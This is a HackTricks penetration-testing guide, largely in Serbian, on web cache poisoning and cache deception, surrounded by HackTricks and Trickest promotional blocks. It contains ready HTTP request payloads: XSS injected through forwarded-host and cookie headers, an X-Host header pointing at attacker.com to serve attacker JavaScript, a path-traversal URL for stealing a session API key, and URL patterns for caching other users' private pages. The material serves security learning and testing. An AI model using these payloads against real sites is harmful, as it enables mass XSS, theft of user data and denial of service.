hacktricks/pentesting-web/cache-deception/README.md

Cache Poisoning and Cache Deception

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}

The difference

Koja je razlika između web cache poisoning i web cache deception?

• U web cache poisoning, napadač uzrokuje da aplikacija sačuva neki zlonamerni sadržaj u kešu, a ovaj sadržaj se servira iz keša drugim korisnicima aplikacije.
• U web cache deception, napadač uzrokuje da aplikacija sačuva neki osetljiv sadržaj koji pripada drugom korisniku u kešu, a napadač zatim preuzima ovaj sadržaj iz keša.

Cache Poisoning

Cache poisoning je usmeren na manipulaciju kešom na strani klijenta kako bi se klijenti primorali da učitavaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Stepen uticaja zavisi od popularnosti pogođene stranice, jer se kontaminirani odgovor servira isključivo korisnicima koji posećuju stranicu tokom perioda kontaminacije keša.

Izvršenje napada cache poisoning uključuje nekoliko koraka:

1. Identifikacija neključenih ulaza: Ovo su parametri koji, iako nisu potrebni da bi zahtev bio keširan, mogu promeniti odgovor koji server vraća. Identifikacija ovih ulaza je ključna jer se mogu iskoristiti za manipulaciju kešom.
2. Eksploatacija neključenih ulaza: Nakon identifikacije neključenih ulaza, sledeći korak uključuje pronalaženje načina kako da se ovi parametri zloupotrebe da bi se izmenio odgovor servera na način koji koristi napadaču.
3. Osiguranje da je kontaminirani odgovor keširan: Poslednji korak je osigurati da je manipulisan odgovor sačuvan u kešu. Na ovaj način, svaki korisnik koji pristupa pogođenoj stranici dok je keš kontaminiran će primiti kontaminirani odgovor.

Discovery: Check HTTP headers

Obično, kada je odgovor sačuvan u kešu, biće zaglavlje koje to označava, možete proveriti koja zaglavlja treba da obratite pažnju u ovom postu: HTTP Cache headers.

Discovery: Caching error codes

Ako mislite da se odgovor čuva u kešu, možete pokušati da pošaljete zahteve sa lošim zaglavljem, na koje bi trebalo da se odgovori sa status kodom 400. Zatim pokušajte da pristupite zahtevu normalno i ako je odgovor status kod 400, znate da je ranjiv (i čak možete izvršiti DoS).

Možete pronaći više opcija u:

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Međutim, imajte na umu da ponekad ovi status kodovi nisu keširani, tako da ovaj test možda neće biti pouzdan.

Discovery: Identify and evaluate unkeyed inputs

Možete koristiti Param Miner da brute-force-ujete parametre i zaglavlja koja mogu menjati odgovor stranice. Na primer, stranica može koristiti zaglavlje X-Forwarded-For da označi klijentu da učita skriptu odatle:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Izazivanje štetnog odgovora sa back-end servera

Sa identifikovanim parametrom/hedderom proverite kako se sanitizuje i gde se odražava ili utiče na odgovor iz hedera. Možete li to zloupotrebiti na neki način (izvršiti XSS ili učitati JS kod koji kontrolišete? izvršiti DoS?...)

Dobijanje keširanog odgovora

Kada ste identifikovali stranicu koja se može zloupotrebiti, koji parametar/heder koristiti i kako ga zloupotrebiti, potrebno je da dobijete stranicu keširanu. U zavisnosti od resursa koji pokušavate da dobijete u kešu, ovo može potrajati, možda ćete morati da pokušavate nekoliko sekundi.
Heder X-Cache u odgovoru može biti veoma koristan jer može imati vrednost miss kada zahtev nije keširan i vrednost hit kada je keširan.
Heder Cache-Control je takođe zanimljiv da se zna da li se resurs kešira i kada će biti sledeći put keširan: Cache-Control: public, max-age=1800
Još jedan zanimljiv heder je Vary. Ovaj heder se često koristi da naznači dodatne hedere koji se tretiraju kao deo keš ključa čak i ako su obično neključevi. Stoga, ako korisnik zna User-Agent žrtve koju cilja, može otrovati keš za korisnike koji koriste taj specifični User-Agent.
Još jedan heder povezan sa kešom je Age. On definiše vreme u sekundama koliko je objekat bio u proxy kešu.

Kada keširate zahtev, budite oprezni sa hederima koje koristite jer neki od njih mogu biti nepredviđeno korišćeni kao ključni i žrtva će morati da koristi taj isti heder. Uvek testirajte Cache Poisoning sa različitim pretraživačima da proverite da li funkcioniše.

Primeri eksploatacije

Najlakši primer

Heder poput X-Forwarded-For se odražava u odgovoru bez sanitizacije.
Možete poslati osnovni XSS payload i otrovati keš tako da svako ko pristupi stranici bude XSS-ovan:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Napomena da će ovo otrovati zahtev za /en?region=uk, a ne za /en

Trovanje keša za DoS

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Korišćenje trovanja web keša za iskorišćavanje ranjivosti u rukovanju kolačićima

Kolačići se takođe mogu odraziti na odgovor stranice. Ako možete da ih iskoristite da izazovete XSS, na primer, mogli biste biti u mogućnosti da iskoristite XSS u nekoliko klijenata koji učitavaju zloćudni odgovor iz keša.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Napomena da ako je ranjavi kolačić veoma korišćen od strane korisnika, redovni zahtevi će čistiti keš.

Zagađenje keša sa pretragom putanje za krađu API ključa

Ovaj izveštaj objašnjava kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 jer će sve što odgovara /share/* biti keširano bez normalizacije URL-a od strane Cloudflare-a, što je učinjeno kada je zahtev stigao do veb servera.

Korišćenje više zaglavlja za iskorišćavanje ranjivosti zagađenja veb keša

Ponekad će biti potrebno da iskoristite nekoliko neključenih ulaza kako biste mogli da zloupotrebite keš. Na primer, možete pronaći Open redirect ako postavite X-Forwarded-Host na domen koji kontrolišete i X-Forwarded-Scheme na http. Ako server prosledi sve HTTP zahteve na HTTPS i koristi zaglavlje X-Forwarded-Scheme kao naziv domena za preusmeravanje. Možete kontrolisati gde je stranica usmerena preusmeravanjem.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Iskorišćavanje sa ograničenim Vary zaglavljem

Ako ste otkrili da se X-Host zaglavlje koristi kao ime domena za učitavanje JS resursa, ali Vary zaglavlje u odgovoru ukazuje na User-Agent. Tada treba da pronađete način da eksfiltrirate User-Agent žrtve i otrovate keš koristeći taj korisnički agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Pošaljite GET zahtev sa zahtevom u URL-u i u telu. Ako web server koristi onaj iz tela, ali server za keširanje kešira onaj iz URL-a, svako ko pristupi tom URL-u zapravo će koristiti parametar iz tela. Kao ranjivost koju je pronašao James Kettle na Github vebsajtu:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Na primer, moguće je odvojiti parametre na ruby serverima koristeći karakter ; umesto &. Ovo se može koristiti da se unesu vrednosti neključenih parametara unutar ključnih i zloupotrebe ih.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Saznajte ovde kako da izvršite Cache Poisoning napade zloupotrebom HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

Web Cache Vulnerability Scanner može se koristiti za automatsko testiranje web cache poisoning. Podržava mnoge različite tehnike i veoma je prilagodljiv.

Primer korišćenja: wcvs -u example.com

Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice.
Pribavite pristup danas:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}

Vulnerable Examples

Apache Traffic Server (CVE-2021-27577)

ATS je prosledio fragment unutar URL-a bez uklanjanja i generisao ključ keša koristeći samo host, putanju i upit (ignorišući fragment). Tako je zahtev /#/../?r=javascript:alert(1) poslat na backend kao /#/../?r=javascript:alert(1) i ključ keša nije imao payload unutar njega, samo host, putanju i upit.

GitHub CP-DoS

Slanje loše vrednosti u headeru content-type izazvalo je 405 keširani odgovor. Ključ keša je sadržao kolačić, tako da je bilo moguće napasti samo neautentifikovane korisnike.

GitLab + GCP CP-DoS

GitLab koristi GCP kante za skladištenje statičkog sadržaja. GCP kante podržavaju header x-http-method-override. Tako je bilo moguće poslati header x-http-method-override: HEAD i otrovati keš da vrati prazan odgovor. Takođe je mogla podržati metodu PURGE.

Rack Middleware (Ruby on Rails)

U Ruby on Rails aplikacijama, često se koristi Rack middleware. Svrha Rack koda je da uzme vrednost x-forwarded-scheme headera i postavi je kao shemu zahteva. Kada se pošalje header x-forwarded-scheme: http, dolazi do 301 preusmeravanja na istu lokaciju, potencijalno uzrokujući Denial of Service (DoS) za taj resurs. Pored toga, aplikacija može priznati X-forwarded-host header i preusmeriti korisnike na navedeni host. Ovo ponašanje može dovesti do učitavanja JavaScript datoteka sa servera napadača, predstavljajući sigurnosni rizik.

403 and Storage Buckets

Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa pogrešnim Authorization headerima rezultirao bi 403 odgovorom koji je keširan. Iako je Cloudflare prestao da kešira 403 odgovore, ovo ponašanje može i dalje biti prisutno u drugim proxy servisima.

Injecting Keyed Parameters

Keševi često uključuju specifične GET parametre u ključ keša. Na primer, Fastly's Varnish je keširao size parametar u zahtevima. Međutim, ako je URL-enkodirana verzija parametra (npr. siz%65) takođe poslata sa pogrešnom vrednošću, ključ keša bi bio konstruisan koristeći ispravni size parametar. Ipak, backend bi obradio vrednost u URL-enkodiranom parametru. URL-enkodiranje drugog size parametra dovelo je do njegovog izostavljanja od strane keša, ali njegove upotrebe od strane backenda. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanim 400 Bad Request greškom.

User Agent Rules

Neki programeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima visoko prometnih alata kao što su FFUF ili Nuclei kako bi upravljali opterećenjem servera. Ironično, ovaj pristup može uvesti ranjivosti kao što su keširanje i DoS.

Illegal Header Fields

RFC7230 definiše prihvatljive karaktere u nazivima headera. Headeri koji sadrže karaktere van specificiranog tchar opsega bi idealno trebali izazvati 400 Bad Request odgovor. U praksi, serveri ne poštuju uvek ovaj standard. Značajan primer je Akamai, koji prosleđuje header-e sa nevažećim karakterima i kešira svaku 400 grešku, sve dok cache-control header nije prisutan. Identifikovan je iskoristiv obrazac gde slanje headera sa nelegalnim karakterom, kao što je \, rezultira keširanom 400 Bad Request greškom.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Cilj Cache Deception-a je da natera klijente da učitavaju resurse koji će biti sačuvani od strane keša sa njihovim osetljivim informacijama.

Prvo, imajte na umu da su ekstenzije kao što su .css, .js, .png itd. obično konfigurisane da budu sačuvane u kešu. Stoga, ako pristupite www.example.com/profile.php/nonexistent.js, keš će verovatno sačuvati odgovor jer vidi .js ekstenziju. Ali, ako se aplikacija replay-uje sa osetljivim korisničkim sadržajem sačuvanim u www.example.com/profile.php, možete ukrasti te sadržaje od drugih korisnika.

Druge stvari za testiranje:

• www.example.com/profile.php/.js
• www.example.com/profile.php/.css
• www.example.com/profile.php/test.js
• www.example.com/profile.php/../test.js
• www.example.com/profile.php/%2e%2e/test.js
• Koristite manje poznate ekstenzije kao što su .avif

Još jedan vrlo jasan primer može se naći u ovom izveštaju: https://hackerone.com/reports/593712.
U primeru se objašnjava da ako učitate nepostojeću stranicu kao što je http://www.example.com/home.php/non-existent.css, sadržaj http://www.example.com/home.php (sa osetljivim informacijama korisnika) će biti vraćen i keš server će sačuvati rezultat.
Zatim, napadač može pristupiti http://www.example.com/home.php/non-existent.css u svom pretraživaču i posmatrati povjerljive informacije korisnika koji su prethodno pristupili.

Imajte na umu da bi keš proxy trebao biti konfiguran da kešira datoteke na osnovu ekstenzije datoteke (.css) a ne na osnovu content-type. U primeru http://www.example.com/home.php/non-existent.css će imati text/html content-type umesto text/css mime tipa (što se očekuje za .css datoteku).

Saznajte ovde kako da izvršite Cache Deceptions napade zloupotrebom HTTP Request Smuggling.

Automatic Tools

• toxicache: Golang skener za pronalaženje ranjivosti web cache poisoning u listi URL-ova i testiranje više tehnika injekcije.

References

• https://portswigger.net/web-security/web-cache-poisoning
• https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
• https://hackerone.com/reports/593712
• https://youst.in/posts/cache-poisoning-at-scale/
• https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
• https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/

Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice.
Pribavite pristup danas:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}

{% hint style="success" %} Saznajte i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Saznajte i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

• Proverite planove pretplate!
• Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
• Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.

{% endhint %}